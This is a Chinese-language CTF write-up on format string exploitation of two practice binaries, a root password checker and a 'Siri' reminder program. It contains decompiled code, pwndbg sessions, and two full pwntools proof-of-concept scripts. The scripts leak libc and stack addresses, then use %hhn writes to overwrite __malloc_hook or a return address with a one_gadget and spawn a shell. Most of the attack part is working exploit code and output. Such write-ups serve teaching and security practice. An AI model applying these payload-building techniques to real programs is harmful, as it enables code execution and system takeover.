.data:0000000000202098 exit_flag db 1
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int fd; // ST0C_4
char buf; // [rsp+10h] [rbp-A0h]
char s1; // [rsp+20h] [rbp-90h]
char s; // [rsp+40h] [rbp-70h]
unsigned __int64 v7; // [rsp+A8h] [rbp-8h]
v7 = __readfsqword(0x28u);
init_std();
fd = open("/dev/urandom", 0);
read(fd, &buf, 8uLL);
close(fd);
puts("Hi, please input your name:");
read_func(&s1, 16LL); // equal to read(buf,size)
if ( !strcmp(&s1, "root") )
{
printf("%s welcome to go home !\n", &s1);
puts("Oh, I also need your password:");
while ( 1 )
{
memset(&s, 0, 0x60uLL);
read_func(&s, 0x50LL);
if ( !strcmp(&s, &buf) )
break;
printf("Your password ", &buf);
printf(&s); // vuln
puts(" seem not ture......");
if ( !exit_flag )
{
puts("Bye~");
exit(0);
}
puts("Try again!");
exit_flag = 0;
}
puts("You are my root!");
exit(0);
}
puts("Who are you?");
exit(0);
}
调试分析
在输入中输入格式化字符串%x,程序会打印栈上的信息:
Hi, please input your name:
root
root welcome to go home !
Oh, I also need your password:
%p %p %p %p %p %p %p %p %p
Your password 0x7ffce2b24580 0x7f06e850d8c0 (nil) 0xe 0x7f06e828ef70 (nil) 0x300000000 0x6db2adca20d558ab (nil) seem not ture......
Try again!
Hi, please input your name:
root
root welcome to go home !
Oh, I also need your password:
%8$p
Your password 0x1d894b7f31fe7418 seem not ture......
Try again!
[DEBUG] Received 0x1c bytes:
'Hi, please input your name:\n'
[DEBUG] Sent 0x5 bytes:
'root\n'
[DEBUG] Received 0x39 bytes:
'root welcome to go home !\n'
'Oh, I also need your password:\n'
[DEBUG] Sent 0x5 bytes:
'%8$p\n'
[DEBUG] Received 0x40 bytes:
'Your password 0x90b126967cc6caa3 seem not ture......\n'
'Try again!\n'
[DEBUG] Sent 0x9 bytes:
00000000 a3 ca c6 7c 96 26 b1 90 0a
00000009
[*] Switching to interactive mode
[*] Process './pwn1' stopped with exit code 0 (pid 11275)
[DEBUG] Received 0x11 bytes:
'You are my root!\n'
You are my root!
#include<stdio.h>
int main()
{
char a[] = "aaaaaaa";
long int t = 10;
long int* d = &t;
printf("%65c%7$hhn"); // 模拟printf(&s)
printf("after printf, t=%d",t);
return 0;
}
我们的目标是修改位于0x7fffffffdb50变量的值,注意,%n参数对应的是指针,我们需要借用一层跳板来执行解引用后修改操作,即传入0x7fffffffdb58这一指向0x7fffffffdb50的指针。使用fmtarg得出该地址与格式化字符串的偏移为7:fmtarg 0x7fffffffdb58 The index of format argument : 8 ("\%7$p"),对应源码中%7$hnn;%65c将打印栈上的垃圾数据,用于控制输出长度,进而控制修改的值。程序执行完后,t的值被修改成65:
signed __int64 __fastcall tell_story(const char *a1)
{
if ( strncmp(a1, "Tell me a story.", 0x10uLL) )
return 0LL;
puts(">>> It was a darkand stormy night...no, that's not it.\n");
return 1LL;
}
signed __int64 __fastcall fox_say(const char *a1)
{
if ( strncmp(a1, "What dose the fox say?", 0x16uLL) )
return 0LL;
puts(">>> Chacha-chacha-chacha-chow!\n");
return 1LL;
}
而最后的leak函数中调用了sprintf,且输出缓冲区内容是可控的,比如输入Remind me to %d,在执行sprintf时参数会变成">>> OK, I'll remind you to %d",继而将内容输入printf作为参数——造成了格式化字符串的漏洞:
signed __int64 __fastcall leak(const char *a1)
{
char *v2; // [rsp+18h] [rbp-128h]
char s; // [rsp+20h] [rbp-120h]
unsigned __int64 canary; // [rsp+138h] [rbp-8h]
canary = __readfsqword(0x28u);
v2 = strstr(a1, "Remind me to ");//获取子串
if ( !v2 )
return 0LL;
memset(&s, 0, 0x110uLL);//输入长度限制
sprintf(&s, ">>> OK, I'll remind you to %s", v2 + 0xD);// 构造格式化字符串
printf(&s); //漏洞点
puts(&::s);
return 1LL;
}
由于leak函数中限制输入长度为0x110,malloc_hook的地址长度为6个字节,使用%hnn修改需要准备6个参数,总长度为0x30,即格式化字符串的总长度必须小于0x80;其次,由于传入的字符串包含了Remind me to前缀,为了内存对齐,输入的字符串长度应为0x80 - strlen("Remind me to ")。构造payload的思路为:格式化字符串(0x80)+malloc_hook地址6。(*输入的格式化字符串首先传入sprintf,因此需要确保内存与"Remind me to "对齐;如果采用">>> OK, I'll remind you to"进行计算,需要额外偏移两个字节 ),在printf下断使用fmtarg确定参数与目标内存地址的偏移。
构造payload的解析如下:
malloc_hook = libc_base + libc.sym['__malloc_hook']
gadget = libc_base + 0x4f3c2
written_size = 0 #已写入的字节数,用于控制溢出
offset = 64 #fmtarg计算的偏移
for i in xrange(6): #构造6个字节的写入数据
size = (gadget>>(8*i)) & 0xff #通过位移和与操作提取gadget不同字节的数据
size -= 27 #printf已经输入了27个字符(>>> OK, I'll remind you to)
if(size > (written_size & 0xff)): #写入的数据大于当前已写入的字符数,不需要溢出
payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i) #通过%(offset+i)$hhn控制写入地址
written_size += size - (written_size & 0xff)
else:
payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i) #写入的数据大于当前已写入的字符数,进行溢出
written_size += (0x100 - (written_size&0xff)) + size
#payload=payload.ljust(0x80-len(">>> OK, I'll remind you to ")-2,'a')#栈对齐 13 -> D 27 -> 1B
payload=payload.ljust(0x80-13,'a')#0x80 -> 到0x110足够放6个64位指针
for i in xrange(6):
payload += p64(malloc_hook+i)#堆叠写入的地址
log.info(payload)
#pause()
add(payload)
pwndbg> x /gx 0x7f32983b9c30 <- before printf
0x7f32983b9c30 <__malloc_hook>: 0x0000000000000000
pwndbg> x /gx 0x7f32983b9c30 <- after printf
0x7f32983b9c30 <__malloc_hook>: 0x00007f329801d3c2
[DEBUG] Sent 0x17 bytes:
'Remind me to %3000000c\n' <- long format string
pwndbg> c
Continuing.
process 22459 is executing new program: /bin/dash <- get shell
完整POC如下:
#coding:utf-8
from pwn import*
p = process('./Siri')
elf = ELF('./Siri')
libc = ELF('./libc.so.6')
def lauch_gdb(p):
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)
def add(payload):
sla(">>>","Hey Siri!")
ru("What Can I do for you?")
sl("Remind me to "+payload)
lauch_gdb(p)
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sd = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4,'\x00'))
uu64 = lambda data : u64(data.ljust(8,'\x00'))
cth = lambda content,length : int(content[:length],16)
add("libc : %83$p")
ru("libc : 0x")
libc_base = int(p.recv(12),16)-231-libc.sym['__libc_start_main']
print "libc_base = "+hex(libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
print "malloc_hook = "+hex(malloc_hook)
og = [0x4f365,0x4f3c2,0x10a45c]
gadget = libc_base + og[1]
print "gadget:"+hex(gadget)
payload = ''
written_size = 0
offset = 64
for i in xrange(6):
size = (gadget>>(8*i)) & 0xff
size -= 27
if(size > (written_size & 0xff)):
payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i)
written_size += size - (written_size & 0xff)
else:
payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i)
written_size += (0x100 - (written_size&0xff)) + size
payload=payload.ljust(0x80-13,'a')
for i in xrange(6):
payload += p64(malloc_hook+i)
log.info(payload)
pause()
add(payload)
add("%3000000c")
irt()
修改返回地址——leak
另一种利用思路为直接利用格式化字符串修改函数的返回地址,不需要泄露canary
0x7ffe905e0780 -> 0x7ffe905e08b0
0x7ffe905e0788 -> 0xd00159090e3a4000
rbp 0x7ffe905e0790 <- 0x7ffe905e08b0
0x7ffe905e0798 -> 0x5654c5f5744c <-test eax, eax ;target!
pwndbg> fmtarg 0x7ffe905e0790 <- get_rbp
The index of format argument : 47 ("\%46$p")
pwndbg> distance 0x7ffe905e08b0 0x7ffe905e0798 <- calculate offset between rip and rsp
0x7ffe905e08b0->0x7ffe905e0798 is -0x118 bytes
完整POC如下:
#coding:utf-8
from pwn import*
p = process('./Siri')
elf = ELF('./Siri')
libc = ELF('./libc.so.6')
def lauch_gdb(p):
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)
def add(payload):
sla(">>>","Hey Siri!")
ru("What Can I do for you?")
sl("Remind me to "+payload)
lauch_gdb(p)
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sd = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4,'\x00'))
uu64 = lambda data : u64(data.ljust(8,'\x00'))
cth = lambda content,length : int(content[:length],16)
add("libc : %83$pAAAA%46$p")
ru("libc : 0x")
libc_base = int(p.recv(12),16)-231-libc.sym['__libc_start_main']
print "libc_base = "+hex(libc_base)
og = [0x4f365,0x4f3c2,0x10a45c]
gadget = libc_base + og[0]
print "gadget:"+hex(gadget)
ru('AAAA')
ret = int(p.recv(14),16)-0x118
print 'ret:'+hex(ret)
payload = ''
written_size = 0
offset = 64
for i in xrange(6):
size = (gadget>>(8*i)) & 0xff
size -= 27
if(size > (written_size & 0xff)):
payload += '%{0}c%{1}$hhn'.format(size-(written_size&0xff),offset+i)
written_size += size - (written_size & 0xff)
else:
payload += '%{0}c%{1}$hhn'.format((0x100-(written_size&0xff))+size,offset+i)
written_size += (0x100 - (written_size&0xff)) + size
payload=payload.ljust(0x80-13,'a')
for i in xrange(6):
payload += p64(ret+i)
log.info(payload)
#pause()
add(payload)
irt()